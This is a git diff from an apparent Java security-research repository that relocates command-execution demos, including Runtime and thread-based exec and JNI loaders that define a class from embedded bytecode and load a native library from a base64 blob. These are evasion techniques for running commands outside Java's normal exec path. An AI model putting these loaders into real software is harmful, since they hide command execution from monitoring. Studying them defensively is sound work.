SecVulns/VulnCore/Command/src/main/java/com/ppp/command/RuntimeDemo.java index 1a88c72..a0e10cd 100644 --- a/Command/src/main/java/org/command/exec/RuntimeDemo.java +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/RuntimeDemo.java @@ -1,6 +1,4 @@ -package org.command.exec; - -import org.command.resultGet.ExecResultGet; +package com.ppp.command; import java.io.InputStream; @@ -25,10 +23,10 @@ public static InputStream exec(String str) throws Exception { public static void main(String[] args) throws Exception { InputStream inputStream = exec("ifconfig -a"); - ExecResultGet execResultGet = new ExecResultGet(); + ExecResultMod execResultMod = new ExecResultMod(); // System.out.println(execResultGet.stringBuilder(inputStream)); // System.out.println(execResultGet.byteArrayOutputStream(inputStream)); - System.out.println(execResultGet.scanner(inputStream)); + System.out.println(execResultMod.scanner(inputStream)); // System.out.println(execResultGet.bufferedReader(inputStream)); // System.out.println(execResultGet.bufferedReader2(inputStream)); // System.out.println(execResultGet.readNBytes(inputStream)); diff --git a/Command/src/main/java/org/command/exec/ThreadDemo.java b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ThreadDemo.java similarity index 85% rename from Command/src/main/java/org/command/exec/ThreadDemo.java rename to SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ThreadDemo.java index 35759c8..3af8635 100644 --- a/Command/src/main/java/org/command/exec/ThreadDemo.java +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ThreadDemo.java @@ -1,6 +1,4 @@ -package org.command.exec; - -import org.command.resultGet.ExecResultGet; +package com.ppp.command; import java.io.InputStream; import java.util.concurrent.atomic.AtomicReference; @@ -10,7 +8,7 @@ */ public class ThreadDemo { public static InputStream exec(String cmd) throws Exception { - AtomicReference inputStreamRef = new AtomicReference<>(); + AtomicReference inputStreamRef = new AtomicReference(); Thread thread = new Thread(new Runnable() { @Override public void run() { @@ -36,7 +34,7 @@ public void run() { public static void main(String[] args) throws Exception { InputStream inputStream = exec("ifconfig -a"); - ExecResultGet execResultGet = new ExecResultGet(); - System.out.println(execResultGet.stringBuilder(inputStream)); + ExecResultMod execResultMod = new ExecResultMod(); + System.out.println(execResultMod.stringBuilder(inputStream)); } } diff --git a/Command/src/main/java/org/command/exec/jni/B64.java b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/B64.java similarity index 96% rename from Command/src/main/java/org/command/exec/jni/B64.java rename to SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/B64.java index 6ec4a0a..696cba1 100644 --- a/Command/src/main/java/org/command/exec/jni/B64.java +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/B64.java @@ -1,4 +1,4 @@ -package org.command.exec.jni; +package com.ppp.command.jni; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; diff --git a/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/Calc.class b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/Calc.class new file mode 100644 index 0000000..227ec4e Binary files /dev/null and b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/Calc.class differ diff --git a/Command/src/main/java/org/command/exec/jni/Calc.java b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/Calc.java similarity index 78% rename from Command/src/main/java/org/command/exec/jni/Calc.java rename to SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/Calc.java index fe37fa6..e0857f4 100644 --- a/Command/src/main/java/org/command/exec/jni/Calc.java +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/Calc.java @@ -1,4 +1,4 @@ -//package org.command.exec.jni; +//package com.ppp.command.jni; // ///** // * @author Whoopsunix diff --git a/Command/src/main/java/org/command/exec/jni/JniCmdDemo.java b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/JniCmdDemo.java similarity index 65% rename from Command/src/main/java/org/command/exec/jni/JniCmdDemo.java rename to SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/JniCmdDemo.java index 5e7dc41..5fa238b 100644 --- a/Command/src/main/java/org/command/exec/jni/JniCmdDemo.java +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/JniCmdDemo.java @@ -1,4 +1,4 @@ -package org.command.exec.jni; +package com.ppp.command.jni; import java.io.File; import java.lang.reflect.Method; @@ -13,14 +13,14 @@ public class JniCmdDemo { /** * load命令执行类名 */ - private static final String COMMAND_CLASS_NAME = "org.command.exec.jni.Calc"; + private static final String COMMAND_CLASS_NAME = "com.ppp.command.jni.Calc"; /** - * org.command.exec.jni.Calc 类的字节码 + * com.ppp.command.jni.Calc 类的字节码 * 只有一个public static native String run(String cmd);的方法 */ private static final byte[] COMMAND_CLASS_BYTES = new byte[]{ - -54, -2, -70, -66, 0, 0, 0, 52, 0, 18, 10, 0, 3, 0, 15, 7, 0, 16, 7, 0, 17, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 27, 76, 111, 114, 103, 47, 99, 111, 109, 109, 97, 110, 100, 47, 101, 120, 101, 99, 47, 106, 110, 105, 47, 67, 97, 108, 99, 59, 1, 0, 3, 114, 117, 110, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 67, 97, 108, 99, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 25, 111, 114, 103, 47, 99, 111, 109, 109, 97, 110, 100, 47, 101, 120, 101, 99, 47, 106, 110, 105, 47, 67, 97, 108, 99, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 6, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 10, 0, 0, 1, 9, 0, 11, 0, 12, 0, 0, 0, 1, 0, 13, 0, 0, 0, 2, 0, 14 + -54, -2, -70, -66, 0, 0, 0, 52, 0, 18, 10, 0, 3, 0, 15, 7, 0, 16, 7, 0, 17, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 26, 76, 99, 111, 109, 47, 112, 112, 112, 47, 99, 111, 109, 109, 97, 110, 100, 47, 106, 110, 105, 47, 67, 97, 108, 99, 59, 1, 0, 3, 114, 117, 110, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 67, 97, 108, 99, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 24, 99, 111, 109, 47, 112, 112, 112, 47, 99, 111, 109, 109, 97, 110, 100, 47, 106, 110, 105, 47, 67, 97, 108, 99, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 6, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 10, 0, 0, 1, 9, 0, 11, 0, 12, 0, 0, 0, 1, 0, 13, 0, 0, 0, 2, 0, 14 }; public static void main(String[] args) { @@ -45,8 +45,7 @@ protected Class findClass(String name) throws ClassNotFoundException { * 替换lib路径 */ // 获取项目目录 - File libPath = new File(System.getProperty("user.dir") + "/Command/src/main/java/org/command/exec/jni/com/command/exec/jni/libcmd.jnilib"); - + File libPath = new File(System.getProperty("user.dir") + "/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com/ppp/command/jni/libcmd.jnilib"); /** * load命令执行类 */ diff --git a/Command/src/main/java/org/command/exec/jni/JniCmdDemo2.java b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/JniCmdDemo2.java similarity index 56% rename from Command/src/main/java/org/command/exec/jni/JniCmdDemo2.java rename to SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/JniCmdDemo2.java index a368f95..ae78746 100644 --- a/Command/src/main/java/org/command/exec/jni/JniCmdDemo2.java +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/JniCmdDemo2.java @@ -1,4 +1,4 @@ -package org.command.exec.jni; +package com.ppp.command.jni; import java.io.File; import java.io.FileOutputStream; @@ -14,17 +14,19 @@ public class JniCmdDemo2 { /** * load命令执行类名 */ - private static final String COMMAND_CLASS_NAME = "org.command.exec.jni.Calc"; + private static final String COMMAND_CLASS_NAME = "com.ppp.command.jni.Calc"; /** - * org.command.exec.jni.Calc 类的字节码 + * com.ppp.command.jni.Calc 类的字节码 * 只有一个public static native String run(String cmd);的方法 */ private static final byte[] COMMAND_CLASS_BYTES = new byte[]{ - -54, -2, -70, -66, 0, 0, 0, 52, 0, 18, 10, 0, 3, 0, 15, 7, 0, 16, 7, 0, 17, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 27, 76, 111, 114, 103, 47, 99, 111, 109, 109, 97, 110, 100, 47, 101, 120, 101, 99, 47, 106, 110, 105, 47, 67, 97, 108, 99, 59, 1, 0, 3, 114, 117, 110, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 67, 97, 108, 99, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 25, 111, 114, 103, 47, 99, 111, 109, 109, 97, 110, 100, 47, 101, 120, 101, 99, 47, 106, 110, 105, 47, 67, 97, 108, 99, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 6, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 10, 0, 0, 1, 9, 0, 11, 0, 12, 0, 0, 0, 1, 0, 13, 0, 0, 0, 2, 0, 14 +// -54, -2, -70, -66, 0, 0, 0, 52, 0, 18, 10, 0, 3, 0, 15, 7, 0, 16, 7, 0, 17, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 27, 76, 111, 114, 103, 47, 99, 111, 109, 109, 97, 110, 100, 47, 101, 120, 101, 99, 47, 106, 110, 105, 47, 67, 97, 108, 99, 59, 1, 0, 3, 114, 117, 110, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 67, 97, 108, 99, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 25, 111, 114, 103, 47, 99, 111, 109, 109, 97, 110, 100, 47, 101, 120, 101, 99, 47, 106, 110, 105, 47, 67, 97, 108, 99, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 6, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 10, 0, 0, 1, 9, 0, 11, 0, 12, 0, 0, 0, 1, 0, 13, 0, 0, 0, 2, 0, 14 + -54, -2, -70, -66, 0, 0, 0, 52, 0, 18, 10, 0, 3, 0, 15, 7, 0, 16, 7, 0, 17, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 26, 76, 99, 111, 109, 47, 112, 112, 112, 47, 99, 111, 109, 109, 97, 110, 100, 47, 106, 110, 105, 47, 67, 97, 108, 99, 59, 1, 0, 3, 114, 117, 110, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 67, 97, 108, 99, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 24, 99, 111, 109, 47, 112, 112, 112, 47, 99, 111, 109, 109, 97, 110, 100, 47, 106, 110, 105, 47, 67, 97, 108, 99, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 6, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 10, 0, 0, 1, 9, 0, 11, 0, 12, 0, 0, 0, 1, 0, 13, 0, 0, 0, 2, 0, 14 }; - private static final String COMMAND_JNI_FILE_BYTES = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA